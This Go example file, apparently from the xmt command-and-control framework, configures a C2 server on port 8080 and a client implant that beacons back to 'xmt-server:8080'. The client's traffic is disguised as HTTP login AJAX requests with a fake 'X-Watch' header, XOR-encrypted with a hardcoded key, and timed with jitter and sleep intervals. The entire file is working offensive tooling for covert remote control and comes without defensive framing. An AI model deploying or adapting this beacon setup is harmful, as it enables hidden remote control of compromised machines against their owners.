github.com/iDigitalFlame/xmt@v0.5.4/examples/example_wc2.go (about)

     1  //go:build !implant
     2  // +build !implant
     3  
     4  // Copyright (C) 2020 - 2023 iDigitalFlame
     5  //
     6  // This program is free software: you can redistribute it and/or modify
     7  // it under the terms of the GNU General Public License as published by
     8  // the Free Software Foundation, either version 3 of the License, or
     9  // any later version.
    10  //
    11  // This program is distributed in the hope that it will be useful,
    12  // but WITHOUT ANY WARRANTY; without even the implied warranty of
    13  // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    14  // GNU General Public License for more details.
    15  //
    16  // You should have received a copy of the GNU General Public License
    17  // along with this program.  If not, see <https://www.gnu.org/licenses/>.
    18  //
    19  
    20  package main
    21  
    22  import (
    23  	"os"
    24  	"time"
    25  
    26  	"github.com/PurpleSec/logx"
    27  	"github.com/iDigitalFlame/xmt/c2"
    28  	"github.com/iDigitalFlame/xmt/c2/cfg"
    29  	"github.com/iDigitalFlame/xmt/c2/wrapper"
    30  	"github.com/iDigitalFlame/xmt/com/wc2"
    31  	"github.com/iDigitalFlame/xmt/util/text"
    32  )
    33  
    34  func exampleWC2() {
    35  	if len(os.Args) == 2 {
    36  		var (
    37  			s = c2.NewServer(logx.Console(logx.Debug))
    38  			x = wc2.NewServer(time.Second * 10)
    39  		)
    40  		x.Target.URL = text.Matcher("/login/ajax/%s/%d")
    41  		x.Target.Header("X-Watch", text.Matcher("%5fs-%5fs"))
    42  		x.ServeDirectory("/", "/tmp")
    43  		x.TargetAsRule()
    44  
    45  		v := cfg.Static{
    46  			L: x,
    47  			J: 30,
    48  			S: time.Second * 5,
    49  			H: "0.0.0.0:8080",
    50  			W: wrapper.NewXOR([]byte("this is my special XOR key")),
    51  		}
    52  
    53  		l, err := s.Listen("http1", "", v)
    54  		if err != nil {
    55  			panic(err)
    56  		}
    57  
    58  		l.Wait()
    59  		return
    60  	}
    61  
    62  	x := wc2.NewClient(0, &wc2.Target{URL: text.Matcher("/login/ajax/%s/%d")})
    63  	x.Target.Header("X-Watch", text.Matcher("%5fs-%5fs"))
    64  
    65  	v := cfg.Static{
    66  		C: x,
    67  		J: 30,
    68  		S: time.Second * 5,
    69  		H: "xmt-server:8080",
    70  		W: wrapper.NewXOR([]byte("this is my special XOR key")),
    71  	}
    72  
    73  	s, err := c2.Connect(logx.Console(logx.Debug), v)
    74  	if err != nil {
    75  		panic(err)
    76  	}
    77  	s.Wait()
    78  }